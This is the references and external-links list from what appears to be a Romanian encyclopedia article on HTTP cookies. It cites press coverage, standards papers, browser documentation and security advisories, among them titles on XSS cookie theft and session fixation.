- ^ en Adam Penenberg. cookie-urile monstruoase. Revista „Slate”, 7 noiembrie 2005
- ^ en Întrebări frecvente despre cookie-uri
- ^ en CBS News. Ştirea despre folosirea de cookie-uri de către CIA. 20 martie 2002.
- ^ en The Associated Press. Agenţia de spionaj înlătură fişierele ilegale de urmărire. 29 decembrie 2005
- ^ en europa.eu.int Raport din decembrie 2004
- ^ en „Cum arată furtul cookie-urilor XSS” (fragment din Întrebări frecvente despre cross-site scripting)
- ^ en Introducere în mecanismul persistenţei, MSDN
- ^ en Cum să stochezi proprietatea window.name şi să o foloseşti din alt site
- ^ en John Schwartz. A da web-ului memorie înseamnă renunţarea la anonimitatea utilizatorilor. New York Times. 4 septembrie 2001
- ^ en Jay Kesan and Rajiv Shah. Shaping code. Capitolul II.B (cookie-urile Netscape).
- ^ en David Kristol. Cookie-uri HTTP: Standarde, protejarea informaţiilor personale, politica de utlizare. ACM (Association for Computer Machinery) Transactions on Internet Technology, 1(2), 151 - 198, 2001.
- ^ en Istoria Internet Explorer
- ^ en cookie-uri în JavaScript
- ^ en Filtrarea cookie-urilor în Internet Explorer 6.
[modifică] Legături externe
- Politica HP în privinţa cookie-urilor
- Generalităţi despre cookie-uri
- en Legături utile despre cookie-uri
- en Fixarea sesiunii (PDF)
- en Cum funcţionează cookie-urile
- en CERT® CA-2000-02 Coduri HTML maliţioase : cf. paragrafului „cookie-uri <<otrăvite>>”
- en Descrierea mecanismului cookie-urilor „otrăvite”
- en Sunt cookie-urile periculoase?
- en Cookie Central